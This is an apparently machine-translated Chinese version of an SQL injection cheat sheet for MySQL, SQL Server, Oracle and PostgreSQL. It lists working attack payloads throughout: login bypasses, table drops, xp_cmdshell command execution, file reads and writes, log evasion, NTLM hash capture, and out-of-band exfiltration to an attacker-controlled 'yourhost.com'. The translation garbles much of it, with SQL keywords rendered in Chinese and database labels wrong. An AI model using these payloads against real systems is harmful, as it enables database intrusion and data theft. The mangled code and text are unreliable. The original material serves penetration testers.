SQL注入小抄

使用我们的SQL注入小抄学习的不同变体SQL注入漏洞。在本备忘单你可以找到关于SQL注入攻击的详细技术信息MySQL, Microsoft SQL Server,甲骨文和PostgreSQL SQL服务器。

SQL注入小抄

什么是SQL注入小抄?

一个SQL注入小抄是一种资源,你可以找到详细的技术信息的许多不同的变体SQL注入(SQLi)脆弱性。这个SQL注入小抄是良好的参考经验丰富的渗透测试人员以及那些刚刚开始在web应用程序安全性。

SQL注入备忘单

目前这个SQL注入备忘单包含的信息MySQL,Microsoft SQL Server和一些有限的信息甲骨文PostgreSQLSQL服务器。一些样品在这个表可能不会工作在任何情况下,因为真正的生活环境可能取决于括号的使用,不同的代码库和意想不到的,奇怪而复杂的SQL语句。

提供样品让你潜在的攻击,几乎每一个部分的基本理念包括一个简短的关于自己的信息。

M: MySQL
史: SQL Server
病人: PostgreSQL
O: 甲骨文
+: 可能所有其他数据库
的例子;
  • (MS)的意思是:MySQL和SQL Server等。
  • (M * S)的意思是:只有在一些版本的MySQL或特殊条件看到相关的注意和SQL Server

表的内容

  1. 语法参考,样品和肮脏的SQL注入攻击技巧
    1. 行注释
    2. 内联注释
    3. 堆积的查询
    4. If语句
    5. 使用整数
    6. 字符串操作
    7. 字符串没有报价
    8. 字符串修改&相关
    9. 联合注射
    10. 绕过登录屏幕
    11. 使xp_cmdshell在SQL Server 2005
    12. 发现在SQL Server数据库结构
    13. 快的方法基于从错误中提取数据的SQL注入SQL Server
    14. 盲目的SQL注入
    15. 覆盖你的跟踪
    16. 额外的MySQL的笔记
    17. 二阶SQL注入
    18. 乐队(OOB)通道的攻击

语法参考,样品和肮脏的SQL注入攻击技巧

结束/评论/意见

行注释

评论其他查询。
线的评论通常用于忽略其他查询所以你不必处理修复语法。

  • - - -(SM)
    sampletable下降;——
  • #(M)
    sampletable下降;#
行注释示例SQL注入攻击
  • 用户名:管理”,
  • SELECT *从会员用户名= '管理','和密码=“密码”
    这日志你作为管理用户,因为其他SQL查询将被忽略。

内联注释

评论其他查询不关闭它们或者您也可以使用绕过黑名单、删除空间、模糊和确定数据库版本。

  • / *注释* /(SM)
    • / *注释* / sampletable下降
    • / * * / OP博士/ *绕过黑名单* / sampletable
    • 选择密码/ *避免空格* / / * * / / * * /成员
  • / * !MYSQL特殊SQL */ (M)
    这是一个特殊的语法MySQL置评。它是完美的检测MySQL版本。如果你把一个代码到这个评论只会执行在MySQL中。还可以使用这个来执行一些代码只有在服务器提供高于版本。

    选择/ * !32302年1/0,从表* / 1

古典内联SQL注入攻击样本置评
  • ID:10;/ *删除表的成员
    最后简单地摆脱其他东西的查询。一样10;删除表成员——
  • 选择/ * !32302年1/0,从表* / 1
    会抛出分工和由0错误如果高于MySQL版本3.23.02
MySQL版本检测样本的攻击
  • ID:/ * !32302年10 * /
  • ID:10
    你会得到的相同的反应如果高于MySQL版本3.23.02
  • 选择/ * !32302年1/0,从表* / 1
    将抛出一个除0错误如果高于MySQL版本3.23.02

堆积的查询

在一个事务中执行多个查询。这是非常有用的在每一个注入点,特别是在SQL Server应用程序结束。

  • ;(年代)
    SELECT * FROM成员;减少成员——

查询结束,一个新的开始。

语言/数据库堆表查询支持

格林:支持,深灰色的:不支持,浅灰色:未知的

SQL注入小抄

关于MySQL和PHP;
澄清一些问题;
PHP, MySQL不支持堆叠查询,Java不支持堆叠查询(我相信对甲骨文来说,不太确定对其他数据库)。通常MySQL数据库层的支持堆叠查询,而是因为大多数的配置是不可能执行另一个查询在php MySQL应用程序或者MySQL客户端支持这一点,不太清楚。谁能澄清吗?

堆叠SQL注入攻击样本
  • ID:10;成员——下降
  • SELECT * FROM产品id = 10;减少成员——

这将运行删除成员SQL语句后正常的SQL查询。

If语句

基于一个if语句得到响应。这是盲目的SQL注入的关键点之一,也可以是非常有用的测试简单的东西盲目和准确地

MySQL If语句

  • 如果(条件,true-part,虚伪的角色)(M)
    选择如果(1 = 1,“真实”,“假”)

SQL Server If语句

  • 如果条件true-part其他的虚伪的角色(年代)
    如果(1 = 1)选择其他“真正的”选择“假”

甲骨文If语句

  • 开始
    如果条件然后true-part;其他的虚伪的角色;如果;结束;
    (O)
    如果(1 = 1),那么dbms_lock.sleep (3);其他dbms_lock.sleep (0);如果;结束;

PostgreSQL If语句

  • 选择案例时条件然后true-part其他的虚伪的角色结束;(P)
    选择案例WEHEN(1 = 1),那么A其他B 'END;
If语句的SQL注入攻击样本

如果((用户选择)=“sa”或(用户选择)= dbo)选择其他1选择1/0(年代)
这将抛出一个除以零误差如果当前登录用户不是“sa”或“dbo”

使用整数

非常有用的绕过,magic_quotes()和类似的过滤器,甚至waf。

  • 0 xHEXNUMBER(SM)
    您可以编写这样的十六进制;

    选择字符(0 x66)(年代)
    选择0 x5045(这不是一个整数,这将是一个从十六进制字符串)(米)
    选择0×50 + 0 x45(现在这是整数!)(米)

字符串操作

字符串相关的操作。这些可能非常有用建立注射不使用任何报价,绕过任何其他黑人清单或确定后端数据库。

字符串连接

  • +(年代)
    从成员选择登录+“-”+密码
  • | |(*莫)
    选择登录| |”——“| |会员密码

*关于MySQL“| |”;
如果MySQL在ANSI运行模式的工作,但否则MySQL接受逻辑算子的它会返回0。一个更好的方法是使用CONCAT ()在MySQL函数。

  • CONCAT (str1 str2 str3,…)(M)
    提供连接字符串。
    从成员选择CONCAT(登录、密码)

字符串没有报价

这是一些直接的方式使用字符串,但它总是可以使用CHAR ()(女士),CONCAT ()(M)生成字符串没有引号。

  • 0 x457578(M) -十六进制表示的字符串
    选择0 x457578
    这将是在MySQL选为字符串。

    在MySQL中容易生成十六进制表示的字符串使用;
    选择CONCAT (0 x,十六进制(c: \ \ ini))

  • 使用CONCAT ()在MySQL中
    选择CONCAT (CHAR (75), CHAR (76), CHAR (77))(M)
    这将返回“荷航”。
  • 选择字符(75)+字符(76)+ CHAR (77)(年代)
    这将返回“荷航”。
  • 选择科(75)| |杆(76)| |杆(77)(O)
    这将返回“荷航”。
  • 选择(CHaR (75) | | CHaR (76) | | CHaR (77))(P)
    这将返回“荷航”。

基于十六进制的SQL注入样品

  • 选择LOAD_FILE (0 x633a5c626f6f742e696e69)(M)
    这将显示的内容c: \ ini

字符串修改&相关

  • ASCII ()(SMP)
    返回最左边的字符的ASCII字符值。一个盲人SQL注入一定功能。

    选择ASCII (' a ')

  • CHAR ()(SM)
    将一个整数的ASCII。

    选择字符(64)

联合注射

与工会你做交叉表的SQL查询。基本上你可以从另一个表毒药查询返回的记录。

选择标题,txt从新闻联盟所有选择的名字,从成员
这将把结果从新闻表和表并返回它们。

另一个例子:
工会选择1,anotheruser 1——”、“不重要”

联盟——解决语言问题

而利用联盟注射有时你得到错误,因为不同的语言设置(表设置,字段设置,结合表/ db设置等。)这些函数是非常有用的解决这个问题。这是罕见的,但是如果你处理日语,俄语,土耳其语然后你会看到它等应用程序。

  • SQL Server (S)
    使用核对SQL_Latin1_General_Cp1254_CS_AS或其他有效的一个检查SQL Server文档

    从新闻联盟选择头从成员选择名字核对SQL_Latin1_General_Cp1254_CS_AS

  • MySQL (M)
    十六进制()对于每一个可能的问题

SMO绕过登录屏幕(+)

SQL注入101、登录技巧

  • 管理”,
  • 管理“#
  • 管理“/ *
  • ' or 1 = 1—
  • ' or 1 = 1 #
  • ' or 1 = 1 / *
  • ”)或“1 ' = ' 1—
  • ”)或(' 1 ' = ' 1—
  • …。
  • 作为不同的用户登录(SM *)
    工会选择1,anotheruser 1——”、“不重要”

* MySQL的旧版本不支持联合查询

绕过第二MD5散列检查登录屏幕

如果应用程序是首先得到返回的记录用户名,然后比较MD5密码提供的MD5那么你需要一些额外的技巧来欺骗程序绕过身份验证。你可以联盟提供的结果与一个已知的密码和MD5哈希密码。在这种情况下,应用程序将比较你的密码和你提供的MD5哈希代替MD5从数据库。

绕过MD5散列检查示例(MSP)

用户名:管理和1 = 0 UNION ALL选择管理”、“81 dc9bdb52d04dc20036dbd8313ed055”
密码:1234年

81 dc9bdb52d04dc20036dbd8313ed055 = MD5 (1234)

错误的基础——找到列名称

发现列名与有通过——基于误差(年代)

在相同的顺序,

  • 1 = 1,
  • 的组table.columnfromerror11 = 1,
  • 的组table.columnfromerror1,columnfromerror21 = 1,
  • 的组table.columnfromerror1,columnfromerror2, columnfromerror(n)1 = 1,等等
  • 如果你没有得到任何更多的错误就完成了。

在SELECT查询,找到多少列命令(美索+)

发现列号按顺序可以加快工会SQL注入过程。

  • 订单1——
  • 订单2——
  • ORDER BY N——等等
  • 继续,直到得到一个错误。错误意味着你发现选中的列的数量。

数据类型、联盟等。

提示,

  • 总是使用联盟所有因为图像类似的non-distinct字段类型。默认情况下联盟试图得到记录和独特的。
  • 摆脱没有要求记录从左表使用1或任何不存在记录搜索查询的开始(如果注射是在哪里)。这是至关重要的,如果你只得到一个结果。
  • 使用零在联合注射对大多数数据类型而不是试图猜测字符串,日期,整数等等。
    • 小心在盲目的情形可能你能理解错误来自数据库或应用程序本身。因为语言,像ASP。净一般抛出错误时使用NULL值(因为通常开发人员并不希望看到空用户名字段)

发现列类型

  • 工会选择金额(columntofind)用户- - -(年代)
    Microsoft OLE DB提供者ODBC驱动程序错误“80040 e07”
    (微软)[ODBC SQL Server司机][SQL Server]或平均聚合操作不能求和varchar数据类型作为参数。

    这意味着如果你没有得到一个错误列数字。

  • 也可以使用CAST()或()转换
    • SELECT * FROM Table1 id = 1 UNION ALL选择空,空,空,空,转换(图片1),空,空,空,空,空,空,空,空,空,空,空,空—
  • 11223344)联盟选择空,空,空,空1 = 2,
    没有错误,语法是正确的。MS SQL Server使用。继续。
  • 11223344)联盟选择1,空,空,空1 = 2,
    没有错误,第一列是一个整数。
  • 11223344)联盟选择1 2空,空1 = 2,
    错误!——第二列不是整数。
  • 11223344)联盟选择1,' 2 ',零,零1 = 2—
    没有错误,第二列是一个字符串。
  • 11223344)联盟选择1,2,3,1 = 2——零
    错误!——第三列不是整数。…

    Microsoft OLE DB提供者为SQL Server错误“80040 e07”
    显式转换数据类型int图像是不允许的。

你会得到转换()错误之前联盟目标错误!那么先把()联盟

简单的插入(美索+)

”;插入用户值(1 ' hax0r coolpass, 9) / *

有用的功能/信息收集/存储过程/散装SQL注入笔记

@@version(女士)
版本的数据库和SQL Server的更多细节。这是一个常数。你可以选择它像任何其他列,你不需要供应表名。此外,您可以使用insert、update语句或功能。

插入成员(id、用户通过)值(1 +子串(@@version 1 10), 10)

批量插入(S)

插入一个文件内容表。如果你不知道内部web应用程序的路径读IIS (IIS 6只)metabase文件(% systemroot % \ system32系统\ inetsrv \ MetaBase.xml),然后搜索来确定应用程序路径。

  1. 创建表foo (varchar(8000)行)
  2. 批量插入foo从“c: \ inetpub \ wwwroot \用户名”
  3. 删除临时表,重复另一个文件。

BCP (S)

写文本文件。登录凭证都必须使用这个函数。
bcp“SELECT *从测试. .foo”queryout c: \ inetpub \ wwwroot \ runcommand。asp - c -Slocalhost美国-Pfoobar

于六月,WSH在SQL Server (S)

您可以使用于六月,WSH脚本在SQL服务器因为ActiveX的支持。

声明@o int
exec sp_oacreate wscript。壳”,@o出来
exec sp_oamethod @o,‘快跑’,NULL,“notepad.exe”
用户名:”;声明@o int exec sp_oacreate wscript。壳”,@o出来exec sp_oamethod @o,‘快跑’,NULL,“notepad.exe”- - -

执行系统命令,xp_cmdshell (S)

众所周知,在默认情况下是禁用的SQL Server 2005。你需要管理员权限。

EXEC master.dbo。xp_cmdshell'cmd.exe dir c:'

简单的平检查(配置防火墙或嗅探器在发射之前确定的要求),

EXEC master.dbo。xp_cmdshell'ping '

你不能直接读取结果错误或工会或者其他东西。

一些特殊的表在SQL Server (S)

  • 错误消息
    主人. . sysmessages
  • 链接服务器
    主人. . sysservers
  • 密码(2000年和20005年都可以会裂开的,他们使用散列算法非常相似)
    SQL Server 2000:大师. . sysxlogins
    SQL Server 2005:sys.sql_logins

更多的存储过程的SQL Server (S)

  1. Cmd Execute (xp_cmdshell)
    执行主. .xp_cmdshell”dir’
  2. 注册表的东西(xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE”系统\ CurrentControlSet \ Services \ lanmanserver \参数”,“nullsessionshares”
      exec xp_regenumvalues HKEY_LOCAL_MACHINE”系统\ CurrentControlSet \ Services \ snmp \参数\ validcommunities '
  3. 管理服务(xp_servicecontrol)
  4. 媒体(xp_availablemedia)
  5. ODBC资源(xp_enumdsn)
  6. 登录模式(xp_loginconfig)
  7. 创建Cab文件(xp_makecab)
  8. 域枚举(xp_ntsec_enumdomains)
  9. 过程杀死(需要PID)(xp_terminate_process)
  10. 添加新程序(几乎可以执行任何你想要的)
    sp_addextendedproc xp_webserver,“c: \ temp \ x.dll”
    exec xp_webserver
  11. 写文本文件到一个UNC或内部路径(sp_makewebtask)

该软件主要指出

SELECT * FROM主人. .sysprocesses / *(电子邮件保护)@SPID * /

声明@result int;EXEC @result = xp_cmdshell“dir * . exe”;如果其他(@result = 0)选择0选择1/0

HOST_NAME ()
IS_MEMBER (transact - sql)
IS_SRVROLEMEMBER (transact - sql)
OPENDATASOURCE (transact - sql)

插入台执行主. .xp_cmdshellOSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (transact - sql)http://msdn2.microsoft.com/en-us/library/ms190312.aspx

你不能在SQL Server中使用子选择插入查询。

SQL注入限制(M)或顺序(美索)

选择id、产品从测试。测试t极限0,0 UNION ALL选择1,“x”/ *, 10;

如果注入是第二限制你可以评论或使用联盟注入

关闭SQL Server (S)

当你真的很生气,”,关闭,

使xp_cmdshell在SQL Server 2005

默认情况下xp_cmdshell和一些其它的潜在危险在SQL Server 2005存储过程被禁用。如果你有管理员权限,那么您可以启用。

EXEC sp_configure“显示高级选项”,1
重新配置

EXEC sp_configure xp_cmdshell, 1
重新配置

发现在SQL Server数据库结构(S)

让用户定义表

选择的名字从sysobjects xtype = ' U '

获得列名

选择名称从syscolumns id =(选择id从sysobjects name = ' tablenameforcolumnnames ')

移动记录(年代)

  • 修改位置和使用不是在不存在,
    …用户不在(“第一个用户”,“第二个用户”)
    选择前1名成员中不存在(选择高级0名成员)——非常好
  • 使用卑鄙手段
    SELECT *从产品ID = 2和1 =((从(选择(选择p.name选择计数(i.id)摆脱从sysobjects我i.id < = o.id) x,名字从sysobjects o)像int p p.x = 3)

    从(选择(选择p.name从sysobjects选择计数(i.id)掉我xtype =“U”和i.id < = o.id) x,名称来自sysobjects o, o。xtype = ' U ')和p p.x = 21

快的方法提取数据从基于错误的SQL注入SQL Server (S)

”,开始宣布@rt varchar(8000)设置@rd = ': '选择@(电子邮件保护)+ ' ' +名称从syscolumns id =(选择id从sysobjects名称=“成员”)和名称> @rd选择@rd rd TMP_SYS_TMP结束;—

详细的文章:快从基于错误的SQL注入中提取数据的方法

发现在MySQL数据库结构(M)

让用户定义表

从information_schema选择table_name。表table_schema =“数据库名”

获得列名

选择table_name column_name information_schema。列table_name =“表”

发现在Oracle数据库结构(O)

让用户定义表

SELECT *从all_tables所有者= ' DATABASE_NAME '

获得列名

SELECT * FROM all_col_comments TABLE_NAME =“表”

盲目的SQL注入

关于盲人SQL注入

在一个不错的生产应用程序你不能看到页面上的错误响应通过联合攻击,所以你不能提取数据或错误的基础攻击。你要做使用盲提取数据的SQL注入攻击。有两种类型的Sql注入视而不见。

正常的盲目,你不能看到一个响应页面中,但你仍然可以决定结果的查询响应或HTTP状态代码
完全失明,你不能看到任何差异在任何输出。这可以注射一个日志或类似的功能。不过,不是很常见。

在正常的百叶窗可以使用if语句或虐待查询在注射(通常更容易),在完全窗帘需要使用一些等待函数和分析响应时间。在这种情况下,你可以使用等待延迟“0:0:10”在SQL Server中,基准()和睡眠(10)在MySQL中,pg_sleep (10)在PostgreSQL,一些在ORACLE PL / SQL技巧。

真正的和有点复杂的盲目SQL注入攻击样本

这个输出从一个真正的私人盲目SQL注入工具,利用SQL Server应用程序结束,列举表名。这就要求做的第一个字符的第一个表的名字。SQL查询更复杂的自动化需求因为的原因。我们试图确定一个字符的ascii值通过二进制搜索算法。

真正的国旗标志查询返回真或假。

真正的:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0) > 78

:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0) > 103 -

真正的:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0)
:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0) > 89 -

真正的:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0)
:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0) > 83 -

真正的:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0)
:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0) > 80 -

:选择ID、用户名、电子邮件从[用户]ID = 1和ISNULL (ASCII (SUBSTRING((选择1名从sysObjects xtYpe = 0 x55和名称没有(选择0的名字从sysObjects xtYpe = 0 x55)), 1, 1)), 0)

因为这两个最后2查询失败我们清楚地知道表名的第一个字符ascii值是80,这意味着第一个字符是“P”。这是利用盲SQL注入的方式通过二进制搜索算法。其他著名的方法是一点点地读取数据。在不同条件下都能有效。

使数据库/睡眠等待盲目的SQL注入攻击

首先使用这个如果真的很盲目,否则就使用1/0样式错误识别的区别。第二,小心在使用倍20 - 30秒。数据库API连接或脚本可以超时。

等待延迟时间(年代)

这就像睡觉,等待指定的时间。CPU安全方法,使数据库等。

等待延迟“0:0:10”—

此外,您可以使用这样的分数,

等待延迟“0:0:0.51”

真实世界的样品

  • 我们“sa”吗?
    如果用户(选择)= ' sa '等待延迟“0:0:10”
  • ProductID =1;等待延迟“0:0:10”—
  • ProductID =1),等待延迟“0:0:10”—
  • ProductID =1,等待延迟0:0:10”—
  • ProductID =1 ');等待延迟“0:0:10”—
  • ProductID =1));等待延迟“0:0:10”—
  • ProductID =1 '));等待延迟“0:0:10”—

基准()(米)

基本上,我们滥用这个命令让MySQL等一等。小心你将使用web服务器限制这么快!

基准(howmanytimes这样做)

真实世界的样品

  • 我们根吗?哇!
    如果存在(SELECT *从用户用户名=‘根’)基准(1000000000,MD5 (1))
  • 检查表存在于MySQL
    如果(SELECT * FROM登录)基准(1000000,MD5 (1))

pg_sleep(秒)(P)

睡眠提供秒。

  • 选择pg_sleep (10);
    睡眠10秒。

睡眠(秒)(M)

睡眠提供秒。

  • 选择睡眠(10);
    睡眠10秒。

dbms_pipe。receive_message (O)

睡眠提供秒。

  • (选择情况(NVL (ASCII (SUBSTR (({注}),1,1)),0)= 100)然后dbms_pipe.receive_message ((“xyz”), 10)其他dbms_pipe.receive_message ((“xyz”), 1)从双重结束)

    {注}=你想要运行的查询。

    如果条件为真,将在10秒后反应。如果是假的,将延迟1秒。

覆盖你的跟踪

SQL Server -sp_password日志旁路(S)

SQL Server日志查询,不包括sp_password出于安全考虑(!)。如果你添加-sp_password查询它不会在SQL服务器日志(当然仍然将在web服务器日志,尝试使用后如果它是可能的)

清晰的SQL注入测试

这些测试仅仅是盲目的sql注入和沉默的攻击。

  1. product.asp吗?id = 4 (SMO)
    1. product.asp ? id = 5:1
    2. product.asp吗?id = 4或1 = 1

  2. product.asp ? name =书
    1. product.asp ? = Bo ' % 2 b 'ok名称
    2. product.asp吗?名字= Bo ' | | ' ok (OM)
    3. product.asp ? name =书' OR 'x'='x

额外的MySQL的笔记

  • 子查询只MySQL 4.1 +工作
  • 用户
    • 从mysql.user选择用户,密码;
  • 选择1,1联盟选择如果(SUBSTRING(密码,1,1)= ' 2 ',基准(100000年,SHA1(1)), 0)用户,密码从mysql。用户在用户=“根”;
  • 选取等……到DUMPFILE
    • 写这位y为新文件(不能修改现有文件吗s)
  • UDF函数
    • 创建函数LockWorkStation返回整数soname user32”;
    • 选择LockWorkStation ();
    • 创建函数ExitProcess返回整数soname kernel32”;
    • 选择exitprocess ();
  • 选择用户();
  • 选择密码,用户从mysql.user ();
  • 第一个字节的管理散列
    • 选择子串(user_password, 1, 1)从mb_users user_group = 1;
  • 读文件
    • query.php ?用户= 1 +协会+选择+ load_file (0 x63…), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
  • MySQL数据加载infile
    • 默认情况下是没有!
      • 创建表foo (blob)行;
        数据加载infile“c: / boot。ini”表foo;
        从foo select *;
  • 在MySQL中更多的时间
  • 选择基准(500000年,sha1('测试'));
  • query.php吗?用户= 1 +协会+选择+基准(500000年,sha1 (0 x414141)), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
  • 选择(如果用户()“(电子邮件保护)%的,基准(100000年,sha1(“测试”),“假”);
    枚举数据,猜到了蛮力
    • 选择如果((ascii (substring(用户(),1,1))> > 7)& 1,基准(100000年,sha1(“测试”),“假”);

可能有用的MySQL函数

  • MD5 ()
    MD5散列
  • SHA1 ()
    SHA1哈希
  • 密码()
  • 编码()
  • 压缩()
    压缩数据,可以是伟大的在盲目的SQL注入大型二进制阅读。
  • ROW_COUNT ()
  • 模式()
  • (版本)
    一样@@version

二阶SQL注入

基本上,你把一个SQL注入一些地方,期望它的过滤在另一个行动。这是常见的隐层的问题。

名称:' + 1(选择从用户密码)+ '
电子邮件:(电子邮件保护)

如果应用程序使用名称字段在一个不安全的存储过程或函数,过程等就会插入第一个用户密码你的名字等。

迫使SQL Server NTLM散列

这种攻击可以帮助你获得目标服务器的SQL Server用户的Windows密码,但是可能你入站连接防火墙。内部渗透测试非常有用。我们迫使SQL Server连接窗口UNC NTLM会话共享和捕获数据工具像该隐和亚伯。

批量插入从一个UNC分享(S)
批量插入的foo \ \ YOURIPADDRESS \ \ x.txt加元的

检查批量插入引用理解如何使用批量插入。

带通道的攻击

SQL Server

  • vulnerableParam = 1;SELECT * FROM OPENROWSET (“SQLOLEDB”,({注入})+“.yourhost.com”;“sa”;“pwd”,“选择1”)
    使DNS解析请求.yourhost.com{注入}
  • vulnerableParam = 1;声明@q varchar (1024);设置@q =“\ \”+({注入})+“.yourhost.com \ \用法”;执行主. .xp_dirtree @q
    使DNS解析请求.yourhost.com{注入}

    {注入}=你想要运行的查询。

MySQL

  • ? vulnerableParam = -99(选择LOAD_FILE (concat(“\ \ \ \”,({注入}),' yourhost.com \ \ ')))
    使nbn公司禁止查询请求/ DNS解析请求到yourhost.com

  • ? vulnerableParam = -99(选择({注入})到输出文件的yourhost.com \ \ \ \ \ \ \ \ output.txt分享”)
    将数据写入你的共享文件夹/文件

    {注入}=你想要运行的查询。

甲骨文

  • ? vulnerableParam =(选择UTL_HTTP。请求(“http://host/ sniff.php ?嗅= ' | |({注入})| |”)从双)
    嗅探器应用程序将保存结果

  • ? vulnerableParam =(选择UTL_HTTP。请求(' http://host/ ' | |({注入})| | . html)从双)
    结果将被保存在HTTP访问日志

  • ? vulnerableParam =(选择UTL_INADDR.get_host_addr(({注入})| |“.yourhost.com”)从双)
    你需要嗅dns解析请求到yourhost.com

  • ? vulnerableParam =(选择SYS.DBMS_LDAP.INIT(({注入})| | ' .yourhost.com ', 80)从双)
    你需要嗅dns解析请求到yourhost.com

    {注入}=你想要运行的查询。

漏洞和严重程度分类表

分类 ID /严重性
PCI v3.1 6.5.1
PCI v3.2 6.5.1
OWASP 2013 A1
CWE 89年
CAPEC 66年
WASC 19
HIPAA 164.306 (a), 164.308 (a)
3.0 CVSS分数
基地 10(关键)
时间 10(关键)
环境 10(关键)
CVSS向量字符串
CVSS: 3.0 / AV: N /交流:L /公关:UI: N / N / S: C / C: H /我:H: H
Ferruh Mavituna

关于作者

Ferruh Mavituna创始人,战略顾问

Ferruh Mavituna Invicti安全的创始人兼首席执行官,web应用程序漏洞扫描的世界领袖。他专业的困扰在于web应用程序安全性的研究,自动漏洞检测和开发功能。他写过一些网络安全研究论文和工具,并将动画出现在网络安全会议和播客。旺盛的可能性开放组织部署的自动化,Ferruh急于证明能够实现结合Invicti获奖产品,Netsparker Acunetix。

Baidu
map